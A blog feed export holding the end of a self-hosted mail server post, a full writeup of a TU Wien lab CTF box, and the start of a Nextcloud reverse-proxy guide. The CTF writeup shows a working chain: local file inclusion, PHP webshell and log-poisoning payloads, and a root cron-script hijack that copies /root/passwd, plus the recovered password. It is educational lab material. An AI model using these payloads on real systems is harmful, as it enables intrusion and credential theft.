    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
